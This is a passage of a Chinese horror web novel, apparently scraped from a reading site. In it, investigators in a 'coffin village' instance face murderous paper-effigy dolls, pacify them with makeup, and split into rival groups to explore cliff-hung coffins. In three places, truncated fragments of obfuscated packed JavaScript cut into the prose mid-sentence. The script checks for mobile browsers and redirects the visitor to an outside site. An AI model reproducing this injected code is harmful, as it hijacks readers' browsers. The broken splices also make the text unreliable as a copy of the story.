在见到他的那一刻,纸扎人娃娃没有立刻开始攻击,说明它需要一个触发攻击的条件。而这个触发攻击的关键条件,大概率就是藏在对这个问题的回答里。 他绝不能掉以轻心。 考察员深深吸了一口气,额头上沁出了细密的汗珠。 他绞尽脑汁地思索着,目光逡巡过纸扎人娃娃被涂鸦得一言难尽的脸部,又想到娃娃询问前说过的“不许撒谎”,脑海中突然灵光一闪。 现在不是都说,教育小孩子要以身作则,不能撒谎欺骗孩子吗? 假话说不了,说真话总行吧? 那考察员把心一横,硬着头皮开口:“不好看。” 有那么一瞬间,他确实笃信自己找到了正确答案,因为听到这个回答后,纸扎人娃娃诡异的笑声如他所愿地停了下来。考察员舒展眉头,抬起手臂,刚想抹一把额头上的冷汗。 但紧接着,极具穿透力的孩童啼哭声骤然响起。 似嗔似恨,震得考察员耳膜生疼。 “呜呜呜居然说别人长得丑,哥哥好不礼貌啊。说谎是不可以的,不礼貌也不可以。”与原先怪异天真的笑声不同,这哭声,远比先前怨恨尖厉了百倍,声浪大到,仿佛整个房间都为之震动。 不,不是仿佛…… 这个房间是真的在震动! 地面在震动,木墙在摇撼。哭声的牵引下,苍白的,众多的纸屑撬开缝隙,扭成一股股纸绳,从木制的地面和墙体里相继钻出,活像千万条白花.花的蠕虫。缠上他,绑住他,深深勒进血肉里,以缠木乃伊的方式,自下而上将他缠绕。 刹那间,考察员后颈炸开无尽寒意。 怪不得,纸扎人娃娃可以肆无忌惮地大笑哭叫,根本不害怕吵醒别人。 那么多怪异的纸屑,能隔音! “救我!!快救我……唔唔唔!”纸绳已经缠绕上了脖颈,强烈的压迫感让人窒息,考察员拼尽全力想向同房间的队友求救,张开的口腔却被碎纸伺机塞满,愣是发不出一个音节。 然而,队友却只翻了个身,依旧睡得香甜——那些纸屑,早已经把队友的外耳堵住了。 对这场残忍的谋杀,他无知无觉。 死亡面前,纸扎人娃娃稚嫩无比的童声被怪异地拔高,一时间,竟显出了阴鸷的本质:“哥哥说我丑,那哥哥长得好看,不如来当纸扎人吧。” 这句话似乎下达了某种指令。话音刚落,其他纸绳纸屑也一拥而上,将考察员束缚掩埋。 房间内,裹出一个白色的茧。 那可怜的考察员在茧子里疯狂挣扎扭动,却只能发出“呜呜呜”的悲鸣。 很快,就连那含混的悲鸣也消失了。 恐怖的变化在纸茧里发生。人骨成竹条,人皮化纸面,五官被压扁,只剩下那两只眼睛惊恐万状地大睁着……考察员竟是被从一具活生生的血肉之躯,变成了一个同样丑陋的纸扎人。 纸绳一卷,卷起化作纸人的考察员,丢下楼梯,掉落到一楼冥器店里众多纸扎人之中,不分彼此。齐檎丹旁边的几个房间,同样有新的纸扎人陆续滚出。 不过短短几分钟,已有多人殒命。 齐檎丹房间的门仍然半敞着。门里,不请自来的纸扎人娃娃,向她扬起了血红扭曲的嘴角:“姐姐,我好看吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927738|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “好……”齐檎丹昧着良心刚说出一个字,纸扎人娃娃的脸就凑了过来,在视野里被放得越来越大。 那张纸糊的小脸上,满是黏稠疯狂的恶意。 然而,齐檎丹只看见了丑。 纸扎人娃娃的这张面容,丑得潦草,丑得离奇,丑得闻所未闻,丑得在齐檎丹的雷点上反复蹦迪。 齐檎丹忍了又忍,终于忍不住低下头: “呕——” 作为摄影师,齐檎丹有着最基本的道德素质,不到万不得已绝对不会呕吐,除非……她真的忍不住。 明明连一句话都没说完,这声干呕,却好像把什么都说了。 顿时,纸扎人娃娃的笑声戛然而止。 表情晴转暴雨。 娃娃嘴巴一瘪,鼻子一吸,昂起头就准备放声大哭。 藏在墙里、地板里的纸屑,顿时蠢蠢欲动。它们蠕动着,聚集着,撑开了木板的裂缝,只等哭声一起,这些纸屑便会蜂拥而出,将齐檎丹做成下一个纸扎人。 怎料,第一声啼哭还没来得及发出来,纸扎人娃娃就被齐檎丹一把抱起,放到了梳妆台前的凳子上。 纸扎人娃娃:“?” “别哭,在这坐好。姐姐知道怎么把你变漂亮。”齐檎丹自信满满地挤出几泵粉底液。 第一泵粉底液,糊上了纸扎人娃娃的嘴,将画出的嘴巴遮住;第二泵粉底液,糊上了纸扎人的眼睛,将它的眼睛挡没…… 纸扎人娃娃:“???” 没嘴也没眼睛,这让它还怎么哭啊? 即便想哭也哭不出来。 唯一的绝招使不出来,纸扎人娃娃欲哭无泪。它拼命扭动着身躯想要逃脱,却因为缺乏力气,被齐檎丹重新牢牢摁回了凳子上。 “相信我,改完妆就好看了。到时候姐姐给你拍照片。”齐檎丹极尽坑蒙拐骗之能事,本来要翻窗逃生的苏意虹也折返回来,帮她按住了纸扎人娃娃。 在两人的合力压制下,纸扎人娃娃只有乖乖听话的份儿。 先是抹粉底液,点涂遮瑕,扫上散粉。为了遮挡纸扎人脸上原本画得一塌糊涂的五官,齐檎丹硬生生把底妆涂出了刷墙的感觉。 再然后,修容粉、眼影盘、眼线笔……各种化妆品,轮番上阵。 徒手捏鼻梁,凭空造眼睛。 齐檎丹拿了一回女娲体验卡,体验无中生有的快乐。 她故意留了个心眼,将眼妆放到最后才化,因此纸扎人娃娃一睁眼,看到的,就是镜子里光鲜靓丽的自己——五官精致,玉雪可爱,全然不见初时歪瓜裂枣的模样。 “这……这真的是我吗?”纸扎人娃娃对着镜子,一时间竟看得呆了,把哭泣这件事情抛到了九霄云外。 齐檎丹点头:“当然。我说过,会把你变好看的。” 她拿起相机,刚打算给纸扎人娃娃拍照,那纸扎人娃娃却忽然跳下凳子,跑出门去。等再度折返回来时,它身后已多了好几个白影。 一个个,全是同样丑得令人不忍直视的纸扎人娃娃。 齐檎丹头皮“嗡”的一下炸开。 她数了数纸扎人娃娃的个数,脑子里自动开始语音播报:您已接到一个“化了吗”订单,您已接到两个“化了吗”订单,您已接到三个…… 数到后面,齐檎丹人都快麻了。因为没能杀死她,所以这些纸扎人娃娃是打算另辟蹊径,把她累死吗? 来这么多人,她得画到什么时候啊。 31. 峭壁悬棺9 “都别急。排好队,一个一个来啊。来得早的排前面,来得晚的排后面。” 在一群纸扎人娃娃中间,被迫维持秩序时,苏意虹感觉自己就像一个焦头烂额的幼儿园老师。 然而,等她也带上她的化妆品,加入这场给纸扎人娃娃化妆的战局之后,那股化妆师的范儿,一下子回到了她身上。 化妆,那可是苏意虹的专业领域。 在这副本里,她要是自称第二,没人当得起第一。 化妆刷在纸扎人脸上飞舞,苏意虹的动作几乎快成一道残影。与此同时,不管是所用的力度,还是刷子上蘸取色粉的量,她都控制得极其精准,恰到好处。 但即便她和齐檎丹两人一齐开工,也忙活直到快天明时分,才将这些纸扎人娃娃全部改妆完成。 “终于结束了。”齐檎丹活动了一下僵硬的筋骨。 而后,她把化完妆的纸扎人娃娃都叫回来,指导它们站位和动作,给它们勉强拍了个合照。这样,也算用相机将两人的劳动成果记录了下来。 做完这一切以后,齐檎丹的手已经酸得抬不起来了。 她连照片评级都懒得看。 虽然拍到了鬼怪,但这种毫无技术含量的集体合照,想来也不会得到太高的评分。与其看了影响心情,倒不如不看的好。 苏意虹的状态甚至比齐檎丹还好一点,身为化妆师的她,已经适应了这种高强度的化妆工作。此刻在收拾化妆用品的她气定神闲,全然看不出先前被纸扎人娃娃吓得魂飞魄散的样子。 “你不怕纸扎人了?”齐檎丹不由得问。 “一开始怕,但把它们当找上门来的客人,就好多了。至少它们不找茬,不算特别没素质。”苏意虹伸了个懒腰,刚想要回床上打盹,脚下却一不留神,被绊了个正着。 “什么东西啊!”苏意虹生气地低头看去,地上摆放的两个道具映入眼帘。 苏意虹的气一下子全消了。 【纸扎人娃娃为了感谢你们帮忙改妆,特地送来了他们最喜爱的两个玩具。】 【泥塑小马(普通级):村里孩子用泥巴捏出来的小马。谁说小马不会变成真的骏马,载人飞驰呢?】 【木刻小刀(普通级):孩子们费了很大力气,才用木头做出来了这把小刀,刀锋锋利,能够伤人。因为这把小刀的护主心极强,要是沾到了主人的血,可能会产生意外的变化。】 很显然,这两个道具,是给齐檎丹和苏意虹的。 对这两个道具,齐檎丹的兴趣都没有特别明显,于是她让苏意虹先选。 很快,苏意虹便选择了那匹木刻小马。她的专属技能跟化妆有关,虽然也属于没什么攻击力的辅助型,却能够短期内将一物变成另外一物,迷惑鬼怪。特别适合把其他东西变成自己的替身,从而争取逃生机会的。 然而,技能维持的时间有限。 苏意虹可以逃出生天的时间,也因此十分短暂。 这时候,要是一匹能跑得飞快的骏马,助苏意虹逃离,能大大提高苏意虹的逃生率。 她选好后,齐檎丹便选择了剩下的那把木刻小刀。齐檎丹才把小刀拿起,一股怪异的触感,就从手上传来。 “有泥土?”齐檎丹奇怪道。 她即刻转头,向纸扎人娃娃送来的另一个道具看去。 只见那一匹泥塑小马上,也满是泥土。 如果只有部分玩具上有土,可能是因为没注意干净,但不至于所有的玩具上都沾满土啊。 “是啊,好奇怪。纸扎人送来的东西,就算沾着纸屑,也不该沾满土啊。”苏意虹抽了张纸巾,嫌弃地擦拭着泥塑小马:“这上面沾的泥土这么多,简直就像刚从土里刨出来似的。” 齐檎丹掰下一小块土:“说不定,还真就是从土里刨出来的。” 说着,她将那土块拿到眼前。 那土块外部已被风干,里层泥土却依旧湿..润。齐檎丹两根手指上下一碾,还没用力,土块就散开了,可见土质之松散。 “你发现了什么?”苏意虹赶忙凑上去问。 “现在还不好说。”齐檎丹摇头。 她用纸巾包起土壤,收进系统背包,又推开窗户,换着角度,对着窗外的景色连拍了几张照片,就抓紧时间,和衣睡下。 . 这棺材村将人尸化的速度果然厉害。一觉醒来,齐檎丹身上的尸化,已经从指尖蔓延到了左手小臂。变作青灰色小臂毫无知觉,仿佛并非她身体的一部分。 齐檎丹默默皱起眉。 还好她的相机轻,只用右手也能拿得动。要不然拍不了照片,她能急死。 苏意虹也是连连叹气,连任务完成的积分都无心搭理:“好在那群纸扎人娃娃是昨晚来,要是今天才来,我们化妆的效率至少减半。那样的话,就得忙活到天亮了。” 但不得不说,先尸化的是左手手臂,已经算得上幸运。 倘若先尸化的惯用的右手,他们绝大多数需要用手的动作,都将难以完成。而假使损失的是双.腿的其中之一,他们便连最简单的站立都做不到。 无法行走或者奔跑,将使他们成为鬼怪眼里的活靶子。 而且还是静止的。 鬼怪来一个,他们能死一群。 “尸化迟早会从左臂蔓延到更多地方。我们必须抓紧时间完成考察。否则,我们就真的需要棺材和寿衣了。”齐檎丹以最快速度收拾妥当,下了楼梯。 仅仅过去一.夜,小老头的冥器店里,便多出了好些纸扎人。 每个纸扎人背后,都是一条人命。 考察员的人数已从十多人,减员到只剩八个。齐檎丹大概看了一眼,那个视她为“眼中钉,肉中刺”的黄毛还在,但昨夜与黄毛分配到同一房间的那个考察员队友,却已然变成了纸扎人。 此刻,黄毛正假惺惺抹着眼泪,为他死去的队友哀悼。 情绪中毫无悲意。 齐檎丹将一切看在眼里,瞳孔微沉。 虽然她不知道,黄毛昨夜究竟使用了什么手段,但其队友的死,必定和他有着脱不开的关系。 冥器店里的小老头巴不得他们赶紧离开。一见到他们下来,小老头便忙不迭地小跑过来,开口询问:“你们可算起来啦,今天打算什么时候走?” 顾斩风瞥了一眼店内的纸人:“你倒是比我们还急。” “唉,我当然急啦。”小老头翘着花白的山羊胡子,跟他们斤斤计较,“你们要是当真死这儿了,小老头我呀,还得多搭上几个棺材钱,血亏啊!” “要我们走,其实也容易。”齐檎丹说,“实不相瞒,我们这次过来只有一个目的,那就是考察你们村子附近的悬棺。可是这悬棺挂得太高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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小老头解释:“是因为你们这个人数啊,太多了。那栈道建了有一会儿了,虽然一开始连八个人抬着棺材都能上去,但现在已经没你们想得那么结实了。同一条道上,走不了这么多人,你们非要上栈道,那就只能把人数分一分,走不同的栈道了。” 这意味着,对悬棺的考察,他们必须分组进行。 这个消息后,无异于噩耗。 多数考察员的神色,转瞬间变得复杂。 仅仅是水里的那些悬棺倒影,都差点要了他们的命,这次分组考察真悬棺的难度,可想而知。 小老头拉来一张藤木椅子,翘着二郎腿悠哉悠哉地坐下,手里的蒲扇摇了又晃:“总之一句话,要想去悬棺,你们就赶紧分组吧。就你们这个人数,分两波,应该足够了。” 八个人分两组,本该是很容易的事。 然而,小老头低估了顾斩风对这些考察员的吸引程度。 风险越大的任务,越需要有强者坐镇。为寻求庇护,几乎所有考察员都聚集在顾斩风身边,一副势必要抱紧顾斩风大..腿死也不放的模样,生怕顾斩风不带他们一组。 眼看着就要局势僵持不下,齐檎丹却特立独行地往旁边走了几步,主动远离有顾斩风在的那组。 与其他人的选择,截然相反。 小老头“嘶”了一声,不由得奇怪道:“所有人都想跟他一组,你不想?” “当然不想,”齐檎丹双手环胸,“这不是很明显吗?别人想这么做,不意味着我也会。你不是需要把我们分成两组吗?现在,分好了。” 既然所有人都想跟顾斩风一组,她便独..立出来,自成一组。 她才不想跟顾斩风一起。 一点都不。 32. 峭壁悬棺10 齐檎丹不愿意和顾斩风一组,并非私人恩怨所导致,更不是一时赌气使然,实在是因为顾斩风杀鬼的速度太快了。 鬼来一个,顾斩风杀一个。 完全没给她的相机一点发挥空间。 要是当模特的鬼怪都被杀光了,齐檎丹还拍摄什么?拍空气吗? 再说了,齐檎丹的专属技能跟拍照密切相关,照片道具全部由拍摄获得。目前她手头里,又只有一张评级必定不高的纸扎人娃娃合照,如若不拍照,距离山穷水尽仅仅一步之遥。 与其压抑着对拍照的渴望,憋屈一路,最后因为用尽道具而死。她还不如趁活着的时候,痛痛快快地多拍上几张照片,这样就算真的是去送死,她也不会后悔。 然而,不管是副本内的考察员,还是齐檎丹直播间里的观众,对此都不能理解。 那可是顾斩风啊! 全副本里,最粗的一条大.腿! 同时存在的两个组之间,一般是呈对抗关系的。顾斩风在考察员中那是什么地位?齐檎丹一个新人不抱大.腿就算了,竟敢大言不惭地放话说要另成一组,跟顾斩风竞争,她怕不是活腻了? 齐檎丹一站出来,她的直播间观众人数,就给她表演了一个在线速降。 没人看好她。 但齐檎丹意向已决。 哪怕齐檎丹没有表示什么,副本外的观众们,也感受到了空气中隐隐的火药味。 梁安颜刚从她的家族企业开完会议回来,一打开齐檎丹的考察直播,顿时愣住了:“齐檎丹不是还没到再次进副本的时间吗?怎么现在就在副本里了?我还没来得及把顾斩风跟她绑定的事情,告诉她呢?” 高级组队卡绑定后,只要没进副本,主动发起绑定的人,是可以选择解绑的。 如果齐檎丹没那么早进副本,梁安颜本来会在开完会后跟她沟通这个问题,如果她不愿意绑定,梁安颜会尊重她的意愿,安排解绑。 然而,齐檎丹提前进入副本,打乱了梁安颜的安排。 局势彻底失控。 梁安颜恶补了一下前因后果,越看越觉得头晕脑胀:“天呐,顾斩风和齐檎丹之间发生什么了?他们两个对彼此的态度,怎么跟我想得不太一样?” 明明最开始的时候,一切都很完美啊。 顾斩风难得有欣赏的人,但早在进副本前,他就对齐檎丹很感兴趣。齐檎丹向梁安颜打探顾斩风的消息时,流露的感情也不像经过伪装。 这两个人,不应该惺惺相惜才对吗?怎么发展到了如今这个水火不容的地步? 梁安颜惴惴不安。 难道,她那张高级组队卡送错了?没促成良缘,反倒造了对冤家? 昨晚才跟顾斩风联系过的叶原,对此倒是透彻了然。他想起齐檎丹的搜索记录,故作老成地重重叹了口气:“唉,还不是顾斩风的死讯害的。” “你说的是五年前,顾斩风在副本里重伤濒死那一次,他让我们放出去的假死讯吗?”梁安颜反应过来。 之所以放出那条死讯,他们也是因为形势所迫,逼不得已。 这件事情说来复杂。 副本世界发展至今,经历过三个阶段——最早的无系统时期、系统即将出现前,无论如何都进不了副本的错乱时期、以及后来有系统的当前时期。 发假死讯的时间点非常特殊,正好卡在无系统时期与错乱时期之间。 五年前,顾斩风在无系统时期的最后一个副本里,遭到了几乎致命的重伤,他们整支固定小队也损伤惨重。之后,又赶上副本世界全线崩盘,所有考察员都被副本世界强行踢出。 考虑到种种疑点,顾斩风严重怀疑有人与鬼怪串通,借刀杀人,于是趁乱让他们把网上能查到信息通通抹去了,以假死讯当烟雾弹,让那人误以为已经得手。 顾斩风的小心谨慎,颇有用处。 哪怕是等到系统出现,他们因为各种原因,陆续回到副本世界之中后,这一做法也给他们提供了很多便利。 最重要的,就是身份的隐私得到了保证。考察直播出现前,几乎只有进同一副本的人,才能知晓彼此的面目与姓名,而这些人中罕有幸存者。因此,只需要把网上的信息再抹干净,他们即便是在系统里明目张胆地用真名,也不会有人多想。 但是坏处也有。因为顾斩风的这假死讯,让该看的人看见了,不该看的人也看见了。 后者,指的就是齐檎丹。 “你想想啊,齐檎丹看到那条死讯那么多年,却不愿意相信顾斩风真的死了,每天恨不得搜八百遍顾斩风的消息。结果一进副本,她发现顾斩风不仅活得好好的,顾斩风还怀疑她用心不良。” 叶原摇摇头,敲键盘的速度都放缓了一些:“反正吧,这种事情放在我身上,我也得生气。” “都怪我。是我欠考虑了,没想到这一点。我应该先问齐檎丹一句的。”梁安颜按住额头,后悔不已。 她充满歉疚地看向直播。 直播当中,考察员自发分成的两组泾渭分明。一边是有顾斩风的那组,人多势众,另一边,却只有齐檎丹孤零零一人。 即便齐檎丹在上一个副本中表现出色,以孤身一人对抗其他所有人,她也毫无胜算。 这一关,齐檎丹挺得过去吗? 梁安颜深感揪心。 副本当中,小老头摇着扇子看了一会儿齐檎丹,最终无可奈何地叹气道:“唉,非要这么分成两组……也行吧。那你一个人一组。” “她不是一个人一组。还有我。”苏意虹鼓起勇气,站到了齐檎丹身边。 “你……”齐檎丹愕然。 不跟顾斩风一组是她的个人选择,她没想到,苏意虹竟会陪她以身犯险。 “你本来就是为了陪我才进来的,要是有个三长两短,我这辈子都原谅不了我自己。”苏意虹用力地吸了吸鼻子: “还有,你答应我说要请我吃饭的,到现在还没请呢,这个月房租也还没交。你可别想着让我一个人交房租啊,现在房租那么贵,要是没有你,我怎么交得起。” 苏意虹看似是在说请吃饭和房租的问题,实则是在关心齐檎丹的安危。 齐檎丹不由得心头一暖。 “还有我们兄弟俩,也跟你一组。”邱义也带着他的弟弟邱勇走了过来,“做人不能忘恩负义。你从那些骷髅手底下,救了我弟弟一命,于情于理,我们都该报答。” 这样一来,不过片刻时间,齐檎丹那组的人数,竟从一人上涨到了四个人。两组的人数神奇地达到了平衡。 但,直播间流失的观众并未回归。 显然,即便齐檎丹这组的人数有所上升,也没有观众对他们重拾信心。 不管组里有多少人,在对面有顾斩风的情况下,依旧等同于必输的死局。在双方胜算如此悬殊的赌桌上,没有人会傻到,给注定会输的那一方下注。 “人数均衡有什么用?你们难道以为,齐檎丹会赢吗?”龙骁的想法,和发弹幕的其他观众不谋而合。 作为顾斩风的队友之一,他对顾斩风过硬的能力,有着更加清晰的认知。 因此,对齐檎丹更不看好。 “我倒觉得不一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938544|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”梁安颜却持有迥然不同的观点,于是跟龙骁唱起了反调,“你不觉得,齐檎丹的风格有点熟悉吗?” 龙骁:“被你这么一说,好像确实有点,但我想不通为什么?” “可能是因为,齐檎丹虽然像某个人,一般人很难把她跟那个人联系起来吧。”梁安颜瞳中微深,“我当时跟她同一个副本的时候,我就觉得,她很多时候的选择虽然出乎意料,却也似曾相识。后来一想才发现,她跟顾斩风好相似。” ——这两个人都是疯子。 疯批程度无比近似的,彻头彻尾的疯子。 顾斩风的疯劲位于暗处,压在骨髓里,镇在冰层下,疯得冷静极端,以至于一般人难以察觉;齐檎丹的疯劲则显在明处,疯得轰轰烈烈,飞扬跋扈。 两人疯起来的区别,充其量只是一个更外放,一个更内收。灵魂底色极度相似。 本质上,属于同一类人。 . 开冥器店的小老头说到做到,待他们分成两组后,果真带着他们,去寻那通往山上玄关的栈道去了。 一路上,苏意虹忍不住垮下小脸,如丧批考:“只要一想到我如果死在这里,就再也没法回去,跟我的冰淇淋、薯片、满冰箱的零食团聚,我就好难过啊。” 齐檎丹幽幽叹气:“谁说我们会死在这里了?” 苏意虹心如死灰:“难道不是吗?” 齐檎丹苦笑着,用指尖点了一下她的额头:“依我看,我们未必没有胜算。” 见苏意虹茫然不解,齐檎丹只好问她:“按理说,能力够强的考察员进低阶副本里,应该更容易通关,但你见过几个考察员等级高的大佬,会进级别低的副本?” 几乎没有。 一旦考察员的等级上去了,他们和低级副本就仿佛自动绝缘。 别说进低阶副本里通关了,就算等级稍低的副本里有他们需要的道具,他们也只会出价向其他人收购。 但,这就奇怪了——即便高难副本的奖励确实更为丰富,可高级别的考察员里,却也不全是只冲着丰厚奖励而来,而将个人生死置之度外的赌徒。那些想保障自身安全的人,为何没有进入更简单的副本,而宁愿挑战难度更高的? 这样不是恰恰与他们保命的需求,背道而驰吗? 浮现出的疑点,让苏意虹不由得陷入思索:“应该不是系统的硬性规定。系统只规定多久要进副本一次,却没说一定要进什么等级的副本,而且顾大佬能进这个副本,说明这些高等级考察员进低阶副本不是不可行,之所以不进,肯定是……” 肯定是因为,他们进低阶副本远比进高阶副本,更加危险。 就目前这个副本来看,副本整体的难度基本没变,每个人的任务也都相同,不存在恶意针对顾斩风的现象。唯一能够被做手脚的地方,只有顾斩风的个人面板。 个人面板里,包括可携带积分、系统商城、道具……甚至个人技能的发挥能力。 这些,都能被制约。 齐檎丹说:“在船上遇到骷髅的时候,我就这么怀疑了。我在进副本之前,虽然没有见过顾斩风的风刃技能,我也看得出,顾斩风面对那些骷髅发挥出的能力,不符合他靠前的排名。” 换作全盛时期的风刃,没把那群爬出来的骷髅一招秒了,那都算手下留情。 这意味着,顾斩风的实力已被大大削弱。 他必然受到了严重限制。 对顾斩风而言,这是不折不扣的劣势处境。而对齐檎丹这组人,却是千载难逢的机会。 这个机会,他们可得抓好了! 33. 峭壁悬棺11 想到这一层,苏意虹倒吸了一口凉气,禁不住发出感慨:“没想到啊,这系统居然还玩阴的,不过它对顾斩风的限制,倒是便宜了我们。” “不,这不像系统的作风。”齐檎丹摇头。 让高等级的考察员进低阶副本,明显能提升他们的生还概率。况且,有经验熟练且能力强的老手带着,新人的生存率也会高上许多。 这无疑是一种双赢。 以保护他们为目的的考察系统,没理由去限制这种行为。 因此,干预高级考察员选择的,未必是系统,更像是在幕后操纵副本世界的那股力量。和提供保护的系统不一样,那股力量想要的,是折磨和死亡。 苏意虹有点被绕晕了:“可是,我们每个考察员的个人面板,不都是归系统管的吗?” 齐檎丹再次摇头。 “个人面板是由系统创造出的,理应由系统管辖。但,也不尽然。”齐檎丹说道,“我在上一个副本里,就遇到过系统受到其他力量制约的情况。” 只是,在高等级考察员进低阶副本这件事上,这种制约表现得更加明显。 考察员的等级只是一种能力证明。等级提升后,他们不会得到太多实质上的好处。唯一改变的,只是技能的实力稍微提升了一些。 伴随而来的,则是不得不进入到更难的副本里。 考察员能力越强,进的副本就越难。最终,他们只能去向无人通关的最难副本。而升级给予的这一点技能提升上的好处,还远远达不到填补副本难度鸿沟的程度。 这是在一步步,把人往绝路上逼。 所有人终究都会死副本里,只不过是早死和晚死的区别。 齐檎丹心底泛寒。 她身旁的苏意虹则因为没有想到那么多,心情很快转好,考察的积极性也增加了不少。苏意虹在路上左看看右瞧瞧,不一会儿,就找到了有意思的地方—— 棺材村里的村民,无一例外地撑着伞或者带着巨大的斗笠遮阳, 而且,村民基本都是老人。 没有几个青壮年。 “这里的人可真是爱美呀,哪怕人老了,都那么注重防晒。”苏意虹喟叹着,看向走在前方引路的老头,“小老头,村里的其他人就算没戴帽子,也会撑把伞,为什么你不啊?” 小老头低头瞥了眼自己黧黑的肤色:“你瞧瞧老头我的皮肤,太黑喽。被太阳晒了一辈子,再怎么注意,也白不回来喽。” 苏意虹笑了:“那倒是。” “小姑娘,别管我晒没晒黑了,看看前边吧,”小老头乐呵呵地说着,停下船,伸手往上一指,“你们要找的悬棺,就在这儿了。” 苏意虹顺着他手指的方向抬头,忍不住“哇”地发出了一声惊叹。他们说服小老头带他们出棺材村,走山路,又乘着竹筏船漂了好一段距离,都是为了这一次仰首—— 眼前的悬棺葬景观,竟比他们在峡谷时看见的,还要震撼壮观。 峭壁上,数千棺材星罗棋布。 上接苍穹,下临深渊。 其中,不仅有他们此前见过的悬崖木桩式悬棺,还囊括了木桩架壑式、天然洞穴式和崖墩式等多种悬棺葬类型。悬棺所成年代,更是跨越了千年之久。 由于悬棺葬的形式有着地域差异,这幅场景极不寻常,在现实里几乎不可能出现。 但副本之内,一切皆有可能。 要考察的对象近在眼前,黄毛两眼放光,跃跃欲试:“栈道呢?老头子,你说的栈道在哪里?” 小老头指了指前边,示意他往山崖下的一小块平地看去: “就在这儿。” 别说这是栈道了。说这是道,恐怕都没人相信。 黄毛的第一反应,是怀疑自己的眼睛。几条不起眼的铁链,加上些破破烂烂的木板,就构成了蜿蜒往上的通道。固定铁链的木桩,被深深凿进岩石之中,除此之外,别无固定方式。 山高风急,吹得铁链摇荡不止,哗哗作响。 直教人心惊胆寒。 只瞧了这一眼之后,刚才还摩拳擦掌要上栈道的那个黄毛,顿时没了声响。 “这栈道……真的能走人吗?”苏意虹心头打鼓。心道在这过分简易的铁链与木板上,只怕走不出两步远,就会失足栽下栈道,跌落深渊。 这可是玩命啊! 齐檎丹上脚试了试铁链强度:“还行,能走。” 她扭头扫视周围,确认要上山崖,探悬棺,除了由这些铁索构成的栈道,没有别的途径。 换言之,这栈道他们非走不可, 齐檎丹话音未落,顾斩风也开了口,他的观察更加敏锐细致:“木板上沾到了泥土。泥土还算新鲜,说明不久前有人刚走过这条栈道。脚印有去有回,是走上去又平安走下来的样子。” “光是看脚印有去有回,也可能是有人刚上去,还没遇着危险,就被吓得落荒而逃了,证明不了什么。”齐檎丹不甘示弱,“还要看脚印的其他特征。比如,附着物、数量……” “好,那你来看,”顾斩风略一颔首,“具有同样底部痕迹的鞋印,上下栈道时,附着物质已不一样。” 上栈道的鞋印,附着物与山下泥土相同,可下来的那些鞋印上,附着物已变成构成山体的红壤。 两者在颜色上有所区分。 “难道这样还不能表示,这人在山上的栈道走过一段时间?”顾斩风反问。 “是,这个鞋印的主人是平安下来了,但这不能代表栈道上面就很安全。”齐檎丹说着,不赞同地蹙起眉心,“因为这些鞋印的数量,根本不对。” 最近一次上山的脚印,分明有八对。 下来的,却只有七对。 一口沉重的棺材,至少需要八个人才能抬得动,上山时的双数没有问题。然而,栈道边上全是墓葬,没有什么好逗留的,一同上山的人大可不必分批次下山。因而,下山仅剩的那七双脚印,便显得格外古怪。 下山的人里怎么少了一个?那个人是在上面遭遇不测了吗? 齐檎丹福至心灵地看向顾斩风。 顾斩风同样盯着那些脚印,瞳中深邃莫测。 他们两人明明互为对手,针锋相对,此刻脑回路却极其默契地连到了一处—— 这栈道上,必有危险! “哎呦,你们都歇会儿吧。小老头我还没说完,你们怎么就较起劲来了呢。”小老头生怕他们又要争起来,赶忙用蒲扇将两人隔开。 他在栈道的起点附近,找了个地方拴好竹筏船,信誓旦旦地拍了拍胸.脯:“我知道,咱们村这栈道建得粗糙,你们这些城里人信不过,但这些栈道绝对结实。你们一组才四个人,上去绰绰有余。” 小老头对这栈道,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946481|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谓是异常信任。 要不是有考察员拦着,小老头差点当场拖着他的老胳膊老腿爬上栈道,一试腿脚。 “噢对了,你们的手现在怎么样了?”小老头突然想起问他们的尸化状况。 一提起这尸化,考察员里没人不心烦。自从出棺材村后,尸化蔓延的速度稍微变慢了些,但即便如此,他们尸化的区域,也已经从左手小臂蔓延到了大臂的一半,整条左胳膊跟废了一样,令人糟心。 还没正式考察呢,左手先没了。这都是什么个事儿啊。 “你们不是好奇,为什么我们这些村里人没事吗?老头我现在就告诉你们。”露出水面的平地少,小老头便继续坐在竹筏船上。 他捋了捋胡子,两眼眯成了缝,一脸的高深莫测: “那是因为,我们村里有一颗宝珠。” 棺材村这地方向来邪门,凡是待在此地,便会逐渐化为尸体。 